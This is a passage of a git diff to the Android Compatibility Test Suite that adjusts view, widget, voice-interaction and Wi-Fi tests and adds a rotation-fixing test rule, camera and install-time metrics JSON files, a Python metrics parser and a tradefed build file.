             mActivityRule.runOnUiThread(() -> {
                 int[] outLocation = new int[2];
-                textureView.getLocationOnScreen(outLocation);
+                textureView.getLocationInWindow(outLocation);
                 viewPos.left = outLocation[0];
                 viewPos.top = outLocation[1];
                 viewPos.right = viewPos.left + textureView.getWidth();
diff --git a/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java b/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java
new file mode 100644
index 0000000..43bc27c
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts.util;
+
+import android.app.UiAutomation;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
+
+public class DisableFixToUserRotationRule implements TestRule {
+    private static final String TAG = "DisableFixToUserRotationRule";
+    private static final String COMMAND = "cmd window set-fix-to-user-rotation ";
+
+    private final UiAutomation mUiAutomation;
+
+    public DisableFixToUserRotationRule() {
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                executeShellCommandAndPrint(COMMAND + "disabled");
+                try {
+                    base.evaluate();
+                } finally {
+                    executeShellCommandAndPrint(COMMAND + "default");
+                }
+            }
+        };
+    }
+
+    private void executeShellCommandAndPrint(String cmd) {
+        ParcelFileDescriptor pfd = mUiAutomation.executeShellCommand(cmd);
+        StringBuilder builder = new StringBuilder();
+        char[] buffer = new char[256];
+        int charRead;
+        try (Reader reader =
+                     new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd))) {
+            while ((charRead = reader.read(buffer)) > 0) {
+                builder.append(buffer, 0, charRead);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+
+        Log.i(TAG, "Command: " + cmd + " Output: " + builder);
+    }
+
+}
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 84cbd00..39a3b92fa 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -98,6 +98,7 @@
     private volatile boolean mOnWatch;
     private CountDownLatch mCountDownLatch;
     private boolean mProjectionServiceBound = false;
+    private Point mLogicalDisplaySize = new Point();
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
@@ -130,6 +131,10 @@
         bindMediaProjectionService();
     }
 
+    public void setLogicalDisplaySize(Point logicalDisplaySize) {
+        mLogicalDisplaySize.set(logicalDisplaySize.x, logicalDisplaySize.y);
+    }
+
     public void dismissPermissionDialog() {
         // The permission dialog will be auto-opened by the activity - find it and accept
         UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
@@ -248,9 +253,7 @@
             Log.d(TAG, "Starting capture");
 
             Display display = getWindow().getDecorView().getDisplay();
-            Point size = new Point();
             DisplayMetrics metrics = new DisplayMetrics();
-            display.getRealSize(size);
             display.getMetrics(metrics);
 
             View testAreaView = findViewById(android.R.id.content);
@@ -264,11 +267,11 @@
             }
 
             mSurfacePixelValidator = new SurfacePixelValidator2(CapturedActivity.this,
-                    size, boundsToCheck, animationTestCase.getChecker());
-            Log.d("MediaProjection", "Size is " + size.toString()
-                    + ", bounds are " + boundsToCheck.toShortString());
+                mLogicalDisplaySize, boundsToCheck, animationTestCase.getChecker());
+                Log.d("MediaProjection", "Size is " + mLogicalDisplaySize.toString()
+                + ", bounds are " + boundsToCheck.toShortString());
             mVirtualDisplay = mMediaProjection.createVirtualDisplay("CtsCapturedActivity",
-                    size.x, size.y,
+                    mLogicalDisplaySize.x, mLogicalDisplaySize.y,
                     metrics.densityDpi,
                     DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
                     mSurfacePixelValidator.getSurface(),
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
index fbb4836..bc43563 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
@@ -45,7 +45,7 @@
 @AppModeFull(reason = "DirectActionsTest is enough")
 public class VoiceInteractionTest extends AbstractVoiceInteractionTestCase {
     static final String TAG = "VoiceInteractionTest";
-    private static final int TIMEOUT_MS = 20 * 1000;
+    private static final int TIMEOUT_MS = 30 * 1000;
 
     private TestStartActivity mTestActivity;
     private TestResultsReceiver mReceiver;
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index c30c71c..85d4fc8 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -291,7 +291,7 @@
         </activity>
 
         <activity android:name="android.widget.cts.PopupWindowCtsActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:configChanges="keyboardHidden|orientation|screenSize|smallestScreenSize|screenLayout"
             android:label="PopupWindowCtsActivity"
             android:theme="@style/Theme.PopupWindowCtsActivity">
             <intent-filter>
diff --git a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
index 3c4192c..c07d6f3 100644
--- a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
@@ -67,6 +67,7 @@
     private Activity mActivity;
     private Spinner mSpinnerDialogMode;
     private Spinner mSpinnerDropdownMode;
+    private static final int SPINNER_HAS_FOCUS_DELAY_MS = 500;
 
     @Rule
     public ActivityTestRule<SpinnerCtsActivity> mActivityRule =
@@ -402,7 +403,7 @@
         TestUtils.assertAllPixelsOfColor("Drop down should be blue", dropDownBackground,
                 dropDownBackground.getBounds().width(), dropDownBackground.getBounds().height(),
                 false, Color.BLUE, 1, true);
-
+        waitForHasFocusMS(SPINNER_HAS_FOCUS_DELAY_MS);
         // Dismiss the popup with the emulated back key
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_BACK);
         // Verify that we're not showing the popup
@@ -461,4 +462,13 @@
         // And test that getPopupBackground returns null
         assertNull(mSpinnerDialogMode.getPopupBackground());
     }
+
+    private void waitForHasFocusMS(int milliseconds) {
+        try {
+            Thread.sleep(milliseconds);
+        } catch (InterruptedException e) {
+            fail("unexpected InterruptedException : "+ e);
+        }
+
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java b/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java
index b79bd16..07256a3 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java
@@ -44,7 +44,7 @@
     private static final int TEST_WAIT_DURATION_MS = 12_000; // Long delay is necessary, see below
     private WifiManager mWifiManager;
     private static final String TEST_DPP_URI =
-            "DPP:C:81/1;I:Easy_Connect_Demo;M:000102030405;"
+            "DPP:C:81/1,117/40;I:Easy_Connect_Demo;M:000102030405;"
                     + "K:MDkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDIgACDmtXD1Sz6/5B4YRdmTkbkkFLDwk8f0yRnfm1Go"
                     + "kpx/0=;;";
     private final HandlerThread mHandlerThread = new HandlerThread("EasyConnectTest");
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index e9f1122..115d02e 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -1720,13 +1720,15 @@
             }
             waitForDisconnection();
 
-            // Now trigger connection to the first saved network.
+            // Now trigger connection to the last saved network.
+            WifiConfiguration savedNetworkToConnect =
+                    savedNetworks.get(savedNetworks.size() - 1);
             synchronized (mLock) {
                 try {
                     if (withNetworkId) {
-                        mWifiManager.connect(savedNetworks.get(0).networkId, actionListener);
+                        mWifiManager.connect(savedNetworkToConnect.networkId, actionListener);
                     } else {
-                        mWifiManager.connect(savedNetworks.get(0), actionListener);
+                        mWifiManager.connect(savedNetworkToConnect, actionListener);
                     }
                     // now wait for callback
                     mLock.wait(TEST_WAIT_DURATION_MS);
@@ -1737,7 +1739,7 @@
             assertTrue(actionListener.onSuccessCalled);
             // Wait for connection to complete & ensure we are connected to the saved network.
             waitForConnection();
-            assertEquals(savedNetworks.get(0).networkId,
+            assertEquals(savedNetworkToConnect.networkId,
                     mWifiManager.getConnectionInfo().getNetworkId());
         } finally {
             // Re-enable all saved networks before exiting.
@@ -2098,13 +2100,17 @@
         boolean isStaApConcurrencySupported = mWifiManager.isStaApConcurrencySupported();
         // start local only hotspot.
         TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
-        if (isStaApConcurrencySupported) {
-            assertTrue(mWifiManager.isWifiEnabled());
-        } else {
-            // no concurrency, wifi should be disabled.
-            assertFalse(mWifiManager.isWifiEnabled());
+        try {
+            if (isStaApConcurrencySupported) {
+                assertTrue(mWifiManager.isWifiEnabled());
+            } else {
+                // no concurrency, wifi should be disabled.
+                assertFalse(mWifiManager.isWifiEnabled());
+            }
+        } finally {
+            // clean up local only hotspot no matter if assertion passed or failed
+            stopLocalOnlyHotspot(callback, true);
         }
-        stopLocalOnlyHotspot(callback, true);
 
         assertTrue(mWifiManager.isWifiEnabled());
     }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index 9553156..bdbc699a 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -173,8 +173,8 @@
 
         List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.getPrivilegedConfiguredNetworks());
-        // Pick any one of the saved networks on the device (assumes that it is in range)
-        mTestNetwork = savedNetworks.get(0);
+        // Pick the last saved network on the device (assumes that it is in range)
+        mTestNetwork = savedNetworks.get(savedNetworks.size()  - 1);
 
         // Wait for Wifi to be disconnected.
         PollingCheck.check(
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
index 9c0078d..be8f4e9 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
@@ -77,6 +77,15 @@
         return pm.hasSystemFeature(PackageManager.FEATURE_WIFI_RTT);
     }
 
+    /**
+     * Returns a flag indicating whether or not Wi-Fi Aware should be tested. Wi-Fi Aware
+     * should be tested if the feature is supported on the current device.
+     */
+    static boolean shouldTestWifiAware(Context context) {
+        final PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_WIFI_AWARE);
+    }
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index 458917d..cfd6448 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -383,7 +383,7 @@
      * Verify ranging request with aware peer Mac address and peer handle.
      */
     public void testAwareRttWithMacAddress() throws InterruptedException {
-        if (!shouldTestWifiRtt(getContext())) {
+        if (!(shouldTestWifiRtt(getContext()) && shouldTestWifiAware(getContext()))) {
             return;
         }
         RangingRequest request = new RangingRequest.Builder()
@@ -402,7 +402,7 @@
      * Verify ranging request with aware peer handle.
      */
     public void testAwareRttWithPeerHandle() throws InterruptedException {
-        if (!shouldTestWifiRtt(getContext())) {
+        if (!(shouldTestWifiRtt(getContext()) && shouldTestWifiAware(getContext()))) {
             return;
         }
         PeerHandle peerHandle = mock(PeerHandle.class);
diff --git a/tools/cts-test-metrics/CtsCameraTestCases.reportlog.json b/tools/cts-test-metrics/CtsCameraTestCases.reportlog.json
new file mode 100644
index 0000000..81a9ef1
--- /dev/null
+++ b/tools/cts-test-metrics/CtsCameraTestCases.reportlog.json
@@ -0,0 +1 @@
+{"test_reprocessing_throughput":[{"camera_id":"0","format":35,"reprocess_type":"YUV reprocessing","capture_message":"capture latency","latency":[237.0,102.0,99.0,105.0,124.0,92.0],"camera_reprocessing_average_latency":126.5},{"camera_id":"0","format":34,"reprocess_type":"opaque reprocessing","capture_message":"capture latency","latency":[206.0,91.0,92.0,89.0,119.0,84.0],"camera_reprocessing_average_latency":113.5},{"camera_id":"1","format":35,"reprocess_type":"YUV reprocessing","capture_message":"capture latency","latency":[216.0,84.0,80.0,83.0,93.0,76.0],"camera_reprocessing_average_latency":105.33333333333333},{"camera_id":"1","format":34,"reprocess_type":"opaque reprocessing","capture_message":"capture latency","latency":[212.0,83.0,71.0,80.0,93.0,74.0],"camera_reprocessing_average_latency":102.16666666666667},{"camera_id":"0","format":35,"reprocess_type":"YUV reprocessing","capture_message":"capture latency","latency":[228.0,105.0,85.0,86.0,116.0,83.0],"camera_reprocessing_average_latency":117.16666666666667},{"camera_id":"0","format":34,"reprocess_type":"opaque reprocessing","capture_message":"capture latency","latency":[195.0,89.0,94.0,94.0,116.0,86.0],"camera_reprocessing_average_latency":112.33333333333333},{"camera_id":"1","format":35,"reprocess_type":"YUV reprocessing","capture_message":"capture latency","latency":[150.0,83.0,75.0,75.0,102.0,76.0],"camera_reprocessing_average_latency":93.5},{"camera_id":"1","format":34,"reprocess_type":"opaque reprocessing","capture_message":"capture latency","latency":[198.0,85.0,78.0,71.0,95.0,77.0],"camera_reprocessing_average_latency":100.66666666666667}],"test_camera_launch_average":[{"camera_launch_average_time_for_all_cameras":326.1},{"camera_launch_average_time_for_all_cameras":321.8}],"test_reprocessing_latency":[{"camera_id":"0","format":35,"reprocess_type":"YUV reprocessing","capture_message":"shot to shot latency","latency":[303.0,254.0,259.0,196.0,201.0,195.0],"camera_reprocessing_shot_to_shot_average_latency":234.66666666666666},{"camera_id":"0","format":34,"reprocess_type":"opaque reprocessing","capture_message":"shot to shot latency","latency":[248.0,172.0,209.0,188.0,201.0,204.0],"camera_reprocessing_shot_to_shot_average_latency":203.66666666666666},{"camera_id":"1","format":35,"reprocess_type":"YUV reprocessing","capture_message":"shot to shot latency","latency":[190.0,238.0,220.0,213.0,144.0,154.0],"camera_reprocessing_shot_to_shot_average_latency":193.16666666666666},{"camera_id":"1","format":34,"reprocess_type":"opaque reprocessing","capture_message":"shot to shot latency","latency":[237.0,166.0,153.0,148.0,162.0,140.0],"camera_reprocessing_shot_to_shot_average_latency":167.66666666666666},{"camera_id":"0","format":35,"reprocess_type":"YUV reprocessing","capture_message":"shot to shot latency","latency":[302.0,262.0,256.0,197.0,200.0,201.0],"camera_reprocessing_shot_to_shot_average_latency":236.33333333333334},{"camera_id":"0","format":34,"reprocess_type":"opaque reprocessing","capture_message":"shot to shot latency","latency":[251.0,166.0,199.0,199.0,213.0,201.0],"camera_reprocessing_shot_to_shot_average_latency":204.83333333333334},{"camera_id":"1","format":35,"reprocess_type":"YUV reprocessing","capture_message":"shot to shot latency","latency":[199.0,153.0,159.0,164.0,152.0,166.0],"camera_reprocessing_shot_to_shot_average_latency":165.5},{"camera_id":"1","format":34,"reprocess_type":"opaque reprocessing","capture_message":"shot to shot latency","latency":[210.0,143.0,161.0,162.0,158.0,156.0],"camera_reprocessing_shot_to_shot_average_latency":165.0}],"test_high_quality_reprocessing_latency":[{"camera_id":"0","format":35,"reprocess_type":"YUV reprocessing","capture_message":"shot to shot latency for High Quality noise reduction and edge modes","latency":[479.0,398.0,351.0,487.0,461.0,395.0],"camera_reprocessing_shot_to_shot_average_latency":428.5},{"camera_id":"0","format":34,"reprocess_type":"opaque reprocessing","capture_message":"shot to shot latency for High Quality noise reduction and edge modes","latency":[355.0,324.0,335.0,334.0,336.0,347.0],"camera_reprocessing_shot_to_shot_average_latency":338.5},{"camera_id":"1","format":35,"reprocess_type":"YUV reprocessing","capture_message":"shot to shot latency for High Quality noise reduction and edge modes","latency":[235.0,220.0,223.0,228.0,222.0,227.0],"camera_reprocessing_shot_to_shot_average_latency":225.83333333333334},{"camera_id":"1","format":34,"reprocess_type":"opaque reprocessing","capture_message":"shot to shot latency for High Quality noise reduction and edge modes","latency":[256.0,186.0,230.0,215.0,226.0,242.0],"camera_reprocessing_shot_to_shot_average_latency":225.83333333333334},{"camera_id":"0","format":35,"reprocess_type":"YUV reprocessing","capture_message":"shot to shot latency for High Quality noise reduction and edge modes","latency":[415.0,327.0,336.0,340.0,323.0,332.0],"camera_reprocessing_shot_to_shot_average_latency":345.5},{"camera_id":"0","format":34,"reprocess_type":"opaque reprocessing","capture_message":"shot to shot latency for High Quality noise reduction and edge modes","latency":[381.0,302.0,331.0,332.0,336.0,333.0],"camera_reprocessing_shot_to_shot_average_latency":335.8333333333333},{"camera_id":"1","format":35,"reprocess_type":"YUV reprocessing","capture_message":"shot to shot latency for High Quality noise reduction and edge modes","latency":[231.0,222.0,223.0,227.0,227.0,223.0],"camera_reprocessing_shot_to_shot_average_latency":225.5},{"camera_id":"1","format":34,"reprocess_type":"opaque reprocessing","capture_message":"shot to shot latency for High Quality noise reduction and edge modes","latency":[275.0,178.0,222.0,224.0,249.0,204.0],"camera_reprocessing_shot_to_shot_average_latency":225.33333333333334}],"test_single_capture":[{"camera_id":"0","camera_capture_latency":[476.0,639.0,654.0,639.0,665.0],"camera_capture_result_latency":[260.0,465.0,490.0,471.0,474.0]},{"camera_id":"1","camera_capture_latency":[461.0,639.0,627.0,637.0,631.0],"camera_capture_result_latency":[341.0,530.0,533.0,533.0,535.0]},{"camera_id":"0","camera_capture_latency":[465.0,643.0,660.0,649.0,642.0],"camera_capture_result_latency":[251.0,467.0,491.0,474.0,475.0]},{"camera_id":"1","camera_capture_latency":[457.0,541.0,533.0,546.0,534.0],"camera_capture_result_latency":[338.0,475.0,467.0,477.0,471.0]}],"test_single_capture_average":[{"camera_capture_result_average_latency_for_all_cameras":463.2},{"camera_capture_result_average_latency_for_all_cameras":438.6}],"test_reprocessing_capture_stall":[{"camera_id":"0","format":35,"reprocess_type":"YUV reprocessing","max_capture_timestamp_gaps":[66.929849,66.927076,66.827072],"capture_average_frame_duration":[66.742792,66.742792,66.742792],"camera_reprocessing_average_max_capture_timestamp_gaps":66.89466566666665},{"camera_id":"0","format":34,"reprocess_type":"opaque reprocessing","max_capture_timestamp_gaps":[66.838494,66.862969,67.054342],"capture_average_frame_duration":[66.742792,66.742792,66.742792],"camera_reprocessing_average_max_capture_timestamp_gaps":66.91860166666667},{"camera_id":"1","format":35,"reprocess_type":"YUV reprocessing","max_capture_timestamp_gaps":[75.091,75.156,75.092],"capture_average_frame_duration":[75.08460800000003,75.08460800000003,75.08460800000003],"camera_reprocessing_average_max_capture_timestamp_gaps":75.113},{"camera_id":"1","format":34,"reprocess_type":"opaque reprocessing","max_capture_timestamp_gaps":[75.096,75.09,75.091],"capture_average_frame_duration":[75.08460800000003,75.08460800000003,75.08460800000003],"camera_reprocessing_average_max_capture_timestamp_gaps":75.09233333333333},{"camera_id":"0","format":35,"reprocess_type":"YUV reprocessing","max_capture_timestamp_gaps":[66.810656,67.101617,66.811857],"capture_average_frame_duration":[66.742792,66.742792,66.742792],"camera_reprocessing_average_max_capture_timestamp_gaps":66.90804333333334},{"camera_id":"0","format":34,"reprocess_type":"opaque reprocessing","max_capture_timestamp_gaps":[133.322575,66.919741,66.95088],"capture_average_frame_duration":[66.742792,66.742792,66.742792],"camera_reprocessing_average_max_capture_timestamp_gaps":89.06439866666666},{"camera_id":"1","format":35,"reprocess_type":"YUV reprocessing","max_capture_timestamp_gaps":[80.088,80.091,80.089],"capture_average_frame_duration":[80.08507200000001,80.08507200000001,80.08507200000001],"camera_reprocessing_average_max_capture_timestamp_gaps":80.08933333333333},{"camera_id":"1","format":34,"reprocess_type":"opaque reprocessing","max_capture_timestamp_gaps":[80.092,80.091,80.091],"capture_average_frame_duration":[80.08507200000001,80.08507200000001,80.08507200000001],"camera_reprocessing_average_max_capture_timestamp_gaps":80.09133333333334}],"test_camera_launch":[{"camera_id":"0","camera_open_time":[116.0,85.0,88.0,83.0,86.0],"camera_configure_stream_time":[20.0,11.0,11.0,10.0,10.0],"camera_start_preview_time":[312.0,224.0,223.0,219.0,230.0],"camera_camera_stop_preview":[278.0,255.0,265.0,268.0,267.0],"camera_camera_close_time":[107.0,124.0,103.0,108.0,127.0],"camera_launch_time":[448.0,320.0,322.0,312.0,326.0]},{"camera_id":"1","camera_open_time":[72.0,67.0,67.0,67.0,65.0],"camera_configure_stream_time":[12.0,10.0,11.0,10.0,11.0],"camera_start_preview_time":[227.0,231.0,224.0,226.0,233.0],"camera_camera_stop_preview":[167.0,162.0,171.0,170.0,168.0],"camera_camera_close_time":[96.0,87.0,91.0,85.0,90.0],"camera_launch_time":[311.0,308.0,302.0,303.0,309.0]},{"camera_id":"0","camera_open_time":[96.0,85.0,89.0,89.0,84.0],"camera_configure_stream_time":[14.0,10.0,10.0,10.0,10.0],"camera_start_preview_time":[262.0,220.0,224.0,221.0,226.0],"camera_camera_stop_preview":[259.0,251.0,271.0,257.0,265.0],"camera_camera_close_time":[117.0,153.0,120.0,122.0,118.0],"camera_launch_time":[372.0,315.0,323.0,320.0,320.0]},{"camera_id":"1","camera_open_time":[71.0,67.0,68.0,70.0,69.0],"camera_configure_stream_time":[11.0,10.0,10.0,10.0,10.0],"camera_start_preview_time":[228.0,235.0,233.0,237.0,239.0],"camera_camera_stop_preview":[167.0,169.0,169.0,162.0,173.0],"camera_camera_close_time":[95.0,89.0,93.0,94.0,103.0],"camera_launch_time":[310.0,312.0,311.0,317.0,318.0]}],"test_high_quality_reprocessing_throughput":[{"camera_id":"0","format":35,"reprocess_type":"YUV reprocessing","capture_message":"capture latency for High Quality noise reduction and edge modes","latency":[272.0,246.0,211.0,210.0,235.0,202.0],"camera_reprocessing_average_latency":229.33333333333334},{"camera_id":"0","format":34,"reprocess_type":"opaque reprocessing","capture_message":"capture latency for High Quality noise reduction and edge modes","latency":[304.0,210.0,206.0,209.0,226.0,229.0],"camera_reprocessing_average_latency":230.66666666666666},{"camera_id":"1","format":35,"reprocess_type":"YUV reprocessing","capture_message":"capture latency for High Quality noise reduction and edge modes","latency":[246.0,123.0,116.0,114.0,131.0,109.0],"camera_reprocessing_average_latency":139.83333333333334},{"camera_id":"1","format":34,"reprocess_type":"opaque reprocessing","capture_message":"capture latency for High Quality noise reduction and edge modes","latency":[211.0,112.0,116.0,112.0,123.0,110.0],"camera_reprocessing_average_latency":130.66666666666666},{"camera_id":"0","format":35,"reprocess_type":"YUV reprocessing","capture_message":"capture latency for High Quality noise reduction and edge modes","latency":[349.0,215.0,214.0,214.0,238.0,213.0],"camera_reprocessing_average_latency":240.5},{"camera_id":"0","format":34,"reprocess_type":"opaque reprocessing","capture_message":"capture latency for High Quality noise reduction and edge modes","latency":[326.0,206.0,204.0,206.0,225.0,232.0],"camera_reprocessing_average_latency":233.16666666666666},{"camera_id":"1","format":35,"reprocess_type":"YUV reprocessing","capture_message":"capture latency for High Quality noise reduction and edge modes","latency":[238.0,119.0,130.0,116.0,130.0,114.0],"camera_reprocessing_average_latency":141.16666666666666},{"camera_id":"1","format":34,"reprocess_type":"opaque reprocessing","capture_message":"capture latency for High Quality noise reduction and edge modes","latency":[249.0,117.0,122.0,113.0,129.0,119.0],"camera_reprocessing_average_latency":141.5}]}
\ No newline at end of file
diff --git a/tools/cts-test-metrics/CtsUiHostTestCases.reportlog.json b/tools/cts-test-metrics/CtsUiHostTestCases.reportlog.json
new file mode 100644
index 0000000..6355fe3
--- /dev/null
+++ b/tools/cts-test-metrics/CtsUiHostTestCases.reportlog.json
@@ -0,0 +1 @@
+{"test_install_time":[{"install_time":[1950.0,1722.0,1762.0,1678.0,1738.0,1694.0,1787.0,1797.0,1799.0,1786.0],"install_time_average":1771.3},{"install_time":[1976.0,1986.0,1930.0,1729.0,1859.0,1875.0,1904.0,1805.0,1748.0,1875.0],"install_time_average":1868.7}]}
\ No newline at end of file
diff --git a/tools/cts-test-metrics/README b/tools/cts-test-metrics/README
new file mode 100644
index 0000000..cb68f3a
--- /dev/null
+++ b/tools/cts-test-metrics/README
@@ -0,0 +1,14 @@
+The parse_test_metrics.py script can be used to parse test metrics json files. Run the following
+command to see a demo:
+python parse_test_metrics.py CtsCameraTestCases.reportlog.json
+
+To parse multiple files, list all files as arguments. Try the following:
+python parse_test_metrics.py CtsCameraTestCases.reportlog.json CtsUiHostTestCases.reportlog.json
+python parse_test_metrics.py *.json
+
+Test metrics json files can be found in $CTS_ROOT/repository/results/$RESULT_DIR/report-log-files/
+directory.
+
+The MetricsParser class defines functions to parse a json file. The _Parse function takes a filename
+as input, reads the json file and adds the json object to json_data. The _PrintJson function
+takes the filename and corresponding json_data and prints out the streams as key, value pairs.
diff --git a/tools/cts-test-metrics/parse_test_metrics.py b/tools/cts-test-metrics/parse_test_metrics.py
new file mode 100755
index 0000000..839e372
--- /dev/null
+++ b/tools/cts-test-metrics/parse_test_metrics.py
@@ -0,0 +1,58 @@
+#!/usr/bin/python
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import argparse, json, sys
+
+class MetricsParser(object):
+  """Executor of this utility"""
+
+  def __init__(self):
+    self._parser = argparse.ArgumentParser('Parse CTS Test metrics jsons')
+    self._parser.add_argument('filenames', metavar='filenames', nargs='+',
+                              help='filenames of metrics jsons to be parsed')
+    self._metrics = []
+
+  def _ParseArgs(self):
+    self._args = self._parser.parse_args()
+
+  def _Parse(self, filename):
+    json_file = open(filename)
+    json_data = json.load(json_file)
+    self._metrics.append(json_data)
+    self._PrintJson(filename, json_data)
+
+  def _PrintJson(self, filename, json_data):
+    print "\nFilename: %s" % filename
+    stream_names = json_data.keys()
+    for stream_name in stream_names:
+      metrics_list = json_data.get(stream_name)
+      for metrics in metrics_list:
+        print "\nStream Name: %s" % stream_name
+        for key in metrics.keys():
+          print "Key: %s \t Value: %s" % (key, str(metrics.get(key)))
+
+  def Run(self):
+    self._ParseArgs()
+    try:
+      for filename in self._args.filenames:
+        self._Parse(filename)
+    except (IOError, ValueError) as e:
+      print >> sys.stderr, e
+      raise KeyboardInterrupt
+
+if __name__ == '__main__':
+  MetricsParser().Run()
+
diff --git a/tools/cts-tradefed/Android.bp b/tools/cts-tradefed/Android.bp
new file mode 100644
index 0000000..93c2062
--- /dev/null
+++ b/tools/cts-tradefed/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_host {
+    name: "cts-tradefed-harness",
+
+    java_resource_dirs: ["res"],
+    libs: [
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    static_libs: [
+        "compatibility-tradefed",
+    ],
+}
+
+tradefed_binary_host {
+    name: "cts-tradefed",
+    wrapper: "etc/cts-tradefed",
+    short_name: "CTS",
+    full_name: "Compatibility Test Suite",
+    version: "11_r2",
+    static_libs: ["cts-tradefed-harness"],
+    required: ["compatibility-host-util"],
+}
diff --git a/tools/cts-tradefed/DynamicConfig.xml b/tools/cts-tradefed/DynamicConfig.xml
new file mode 100644
index 0000000..60b0e98
--- /dev/null
+++ b/tools/cts-tradefed/DynamicConfig.xml
@@ -0,0 +1,21 @@
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
